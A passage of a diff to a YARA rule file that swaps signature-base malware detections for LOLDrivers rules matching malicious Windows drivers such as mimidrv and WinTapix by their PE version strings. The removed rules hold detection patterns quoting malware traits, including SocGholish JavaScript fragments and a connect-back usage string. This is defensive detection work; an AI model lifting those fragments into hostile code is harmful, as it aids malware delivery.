+		logic_hash = "72e213913bf4317fa0751775e6a1a82ba2706e79c52fcd3e2c8ca69050e3a9d7"
+		score = 70
+		quality = 80
 		tags = ""
 
 	strings:
-		$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }
 
 	condition:
-		any of them
+		all of them
 }
-rule SIGNATURE_BASE_Metasploit_Loader_Rsmudge : FILE
+rule LOLDRIVERS_MAL_Driver_Legalcorp_Pciexpressvideocapture_FD22
 {
 	meta:
-		description = "Detects a Metasploit Loader by RSMudge - file loader.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4d8a215e-a942-5df9-bdad-0c4158992429"
-		date = "2016-04-20"
-		modified = "2023-12-05"
-		reference = "https://github.com/rsmudge/metasploit-loader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_loader_rsmudge.yar#L10-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "50b1898e3087a5e0876b87179252c452af48e00bbef52297060d70acd90d0133"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "afe34bfe2215b048915b1d55324f1679d598a0741123bc24274d4edc6e395a8d"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PcieCubed.sys"
+		author = "Florian Roth"
+		id = "c9b28922-d4c7-5c09-9df8-b7b8d8ffc2e8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L324-L342"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "fd223833abffa9cd6cc1848d77599673643585925a7ee51259d67c44d361cce8"
+		logic_hash = "4c47a159595f420c520e6924238bd260f49ccf163208713c72c62638b13756d9"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "Could not resolve target" fullword ascii
-		$s2 = "Could not connect to target" fullword ascii
-		$s3 = "%s [host] [port]" fullword ascii
-		$s4 = "ws2_32.dll is out of date." fullword ascii
-		$s5 = "read a strange or incomplete length value" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005000430049006500200056006900640065006f00200043006100700074007500720065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006500670061006c00200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300490020004500780070007200650073007300200056006900640065006f00200043006100700074007500720065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005000630069006500430075006200650064002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00320030003100360020004c006500670061006c }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (3 of ($s*))) or ( all of them )
+		all of them
 }
-rule SIGNATURE_BASE_MAL_ZIP_Socgholish_Mar21_1 : ZIP JS SOCGHOLISH FILE
+rule LOLDRIVERS_MAL_Driver_Gmer_Gmersys_Gmer_0052
 {
 	meta:
-		description = "Triggers on small zip files with typical SocGholish JS files in it"
-		author = "Nils Kuhnert"
-		id = "da35eefd-b34d-59cd-8afc-da9c78ace96e"
-		date = "2021-03-29"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_socgholish.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4f6566c145be5046b6be6a43c64d0acae38cada5eb49b2f73135b3ac3d6ba770"
-		hash = "54f756fbf8c20c76af7c9f538ff861690800c622d1c9db26eb3afedc50835b09"
-		hash = "dfdbec1846b74238ba3cfb8c7580c64a0fa8b14b6ed2b0e0e951cc6a9202dd8d"
-		logic_hash = "6621b029f65720e468bd167fcd7429a1f7ba8975298ddbd913b13fbe9e117df2"
-		score = 75
-		quality = 60
-		tags = "ZIP, JS, SOCGHOLISH, FILE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gmer64.sys, superman.sys"
+		author = "Florian Roth"
+		id = "a2197304-4455-52bb-ac73-9218b310bb99"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L345-L365"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0052aa88e42055a2eed5ddd17c3499c692360155e5e031a211edfcef577acce3"
+		hash = "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7"
+		logic_hash = "1644a972cb9bde33e5e8ec078b0ee67b34b6a298504895f364260b96a453a3ba"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = /\.[a-z0-9]{6}\.js/ ascii
-		$a2 = "Chrome" ascii
-		$a3 = "Opera" ascii
-		$b1 = "Firefox.js" ascii
-		$b2 = "Edge.js" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004d00450052002000440072006900760065007200200068007400740070003a002f002f007700770077002e0067006d00650072002e006e00650074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004d00450052 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c002000360039003800330020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200036003900380033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006d0065007200360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004d00450052 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006d0065007200360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200047004d0045005200200032003000300033002d0032003000310033 }
 
 	condition:
-		uint16(0)==0x4b50 and filesize <1600 and (2 of ($a*) or any of ($b*))
+		all of them
 }
-rule SIGNATURE_BASE_EXT_MAL_JS_Socgholish_Mar21_1 : JS SOCGHOLISH FILE
+rule LOLDRIVERS_MAL_Driver_Mimidrv_Mimidrvmimikatz_2FAF
 {
 	meta:
-		description = "Triggers on SocGholish JS files"
-		author = "Nils Kuhnert"
-		id = "3ed7d2da-569b-5851-a821-4a3cda3e13ce"
-		date = "2021-03-29"
-		modified = "2023-01-02"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_socgholish.yar#L25-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7ccbdcde5a9b30f8b2b866a5ca173063dec7bc92034e7cf10e3eebff017f3c23"
-		hash = "f6d738baea6802cbbb3ae63b39bf65fbd641a1f0d2f0c819a8c56f677b97bed1"
-		hash = "c7372ffaf831ad963c0a9348beeaadb5e814ceeb878a0cc7709473343d63a51c"
-		logic_hash = "08218ae952577a6ac936de875236cdc3ae32e3aaccd2196b7f43e80d7e748584"
-		score = 75
-		quality = 85
-		tags = "JS, SOCGHOLISH, FILE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "0160f2aa-f60f-5590-be0a-6751487eab92"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L368-L384"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2faf95a3405578d0e613c8d88d534aa7233da0a6217ce8475890140ab8fb33c8"
+		logic_hash = "e7b3f0a8f5a91896f7d487a39c622b12fc7488f9f80c80b6b551e7e5f6a67f18"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "new ActiveXObject('Scripting.FileSystemObject');" ascii
-		$s2 = "['DeleteFile']" ascii
-		$s3 = "['WScript']['ScriptFullName']" ascii
-		$s4 = "['WScript']['Sleep'](1000)" ascii
-		$s5 = "new ActiveXObject('MSXML2.XMLHTTP')" ascii
-		$s6 = "this['eval']" ascii
-		$s7 = "String['fromCharCode']"
-		$s8 = "2), 16)," ascii
-		$s9 = "= 103," ascii
-		$s10 = "'00000000'" ascii
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310035002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		filesize >3KB and filesize <5KB and 8 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Socgholish_JS_22_02_2022 : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_2FD4
 {
 	meta:
-		description = "Detects SocGholish fake update Javascript files 22.02.2022"
-		author = "Wojciech Cieślak"
-		id = "68d2dbb7-0079-527a-92c7-450c3dd953b3"
-		date = "2022-02-22"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_socgholish.yar#L53-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3e14d04da9cc38f371961f6115f37c30"
-		hash = "dffa20158dcc110366f939bd137515c3"
-		hash = "afee3af324951b1840c789540d5c8bff"
-		hash = "c04a1625efec27fb6bbef9c66ca8372b"
-		hash = "d08a2350df5abbd8fd530cff8339373e"
-		logic_hash = "fd529cbb511ff6bcf37b44b835e021b28763922f7726ff67db5cbb3f9193c7ae"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "e77f1fc7-4700-5afe-908f-b0d206757365"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L387-L408"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2fd43a749b5040ebfafd7cdbd088e27ef44341d121f313515ebde460bf3aaa21"
+		hash = "7824931e55249a501074a258b4f65cd66157ee35672ba17d1c0209f5b0384a28"
+		hash = "28f5aa194a384680a08c0467e94a8fc40f8b0f3f2ac5deb42e0f51a80d27b553"
+		logic_hash = "e24fab351505faf86bd12d6dd97662542c8cf5fca09d916b716af1478f3c9ddf"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "encodeURIComponent(''+" ascii
-		$s2 = "['open']('POST'," ascii
-		$s3 = "new ActiveXObject('MSXML2.XMLHTTP');" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310035002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		filesize <5KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_WER_Critical_Heapcorruption : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Ntbiosys_Microsoftrwindowsrntoperatingsystem_C0D8
 {
 	meta:
-		description = "Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation)"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2b1dad5f-cc2c-5d8c-8275-ebb56d079895"
-		date = "2019-10-18"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1185459425710092288"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_wer_files.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "efa84e375f31ca37b9dd9c7a74251929ac957b9bd530e92f74b8836f56048fea"
-		score = 45
-		quality = 85
-		tags = "FILE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ntbios_2.sys"
+		author = "Florian Roth"
+		id = "f16b4b22-985a-5d39-ae51-709aa9a69d8d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L411-L431"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c"
+		hash = "96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc"
+		logic_hash = "74ad0b57644d82a77bc902786250156f5e3700671bdf9765055b5908dc345a67"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "ReportIdentifier=" wide
-		$a2 = ".Name=Fault Module Name" wide
-		$s1 = "c0000374" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006e007400620069006f00730020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e007400620069006f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020004d006900630072006f0073006f00660074002800520029002000570069006e0064006f0077007300200028005200290020004e00540020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e007400620069006f0073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000300033 }
 
 	condition:
-		( uint32be(0)==0x56006500 or uint32be(0)==0xfffe5600) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_WER_Suspicious_Crash_Directory : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Wintapixsys_Microsoftwindowsoperatingsystem_8578
 {
 	meta:
-		description = "Detects a crashed application executed in a suspicious directory"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bf91e20c-aa35-5b13-86ed-a63e6fb4d1a2"
-		date = "2019-10-18"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1185585050059976705"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_wer_files.yar#L20-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a197feeafca38ffe33428fa807e2b80e3071ab8960926fc2f328748bda299910"
-		score = 45
-		quality = 85
-		tags = "FILE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinTapix.sys, SRVNET2.SYS"
+		author = "Florian Roth"
+		id = "0bb182e8-e64b-5b01-9ca5-105212ebeb51"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L434-L454"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8578bff36e3b02cc71495b647db88c67c3c5ca710b5a2bd539148550595d0330"
+		hash = "1485c0ed3e875cbdfc6786a5bd26d18ea9d31727deb8df290a1c00c780419a4e"
+		logic_hash = "dd85f0dc471425fe692e5a51580a97facdaea45505c48b5e01dd6dbc975f2ffe"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "ReportIdentifier=" wide
-		$a2 = ".Name=Fault Module Name" wide
-		$a3 = "AppPath=" wide nocase
-		$l1 = "AppPath=C:\\Windows\\" wide nocase
-		$l2 = "AppPath=C:\\Program" wide nocase
-		$l3 = "AppPath=C:\\Python" wide nocase
-		$l4 = "AppPath=C:\\Users\\" wide nocase
-		$s6 = "AppPath=C:\\Users\\Public\\" nocase wide
-		$s7 = "AppPath=C:\\Users\\Default\\" nocase wide
-		$s8 = /AppPath=C:\\Users\\[^\\]{1,64}\\AppData\\(Local|Roaming)\\[^\\]{1,64}\.exe/ wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e0064006f007700730020004b00650072006e0065006c00200045007800650063007500740069007600650020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0033002e0039003600300030002e003100360033003800340020002800770069006e0062006c00750065005f00720074006d002e003100330030003800320031002d00310036003200330029 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0033002e0039003600300030002e00310036003300380034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00540061007000690078002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00540061007000690078002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( uint32be(0)==0x56006500 or uint32be(0)==0xfffe5600) and all of ($a*) and ( not 1 of ($l*) or 1 of ($s*))
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Spork_Downloader : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_E7AF
 {
 	meta:
-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "21e02f78-40d8-5b56-b747-3f2a7a692259"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L11-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5dac11c595d838cb6b5f1e548307ea79d119c890c54e954453cf1a264e1d14ed"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_6.sys"
+		author = "Florian Roth"
+		id = "5f883209-6887-5cb4-96bb-988898d47c09"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L457-L479"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e"
+		hash = "b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3"
+		hash = "8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce"
+		hash = "06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4"
+		logic_hash = "b4d12069a9a3a8d8d9bde9a4ed3f80f21f2654b6f96943d201933198678d01d9"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "Usage: spork -c IP:PORT" fullword ascii wide
-		$s2 = "connect-back IP address and port number"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Minisling : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_30E0
 {
 	meta:
-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "99f9d5a1-b29f-52f7-9aec-02df4a51a756"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L26-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d370271fea6c607c051eb49681600b4f59878c2fd2d43d71194bddda78d7b09"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "888de0dc-5643-5e55-8272-9363cc55bfcf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L482-L502"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "30e083cd7616b1b969a92fd18cf03097735596cce7fcf3254b2ca344e526acc2"
+		hash = "a906251667a103a484a6888dca3e9c8c81f513b8f037b98dfc11440802b0d640"
+		logic_hash = "e2c964f7e30da210778e8a2e5bb96d53485a0736cf3ff28bccbefacb6b46765a"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "{6D29520B-F138-442e-B29F-A4E7140F33DE}" fullword ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310033002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Ring0_Loader : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_6908
 {
 	meta:
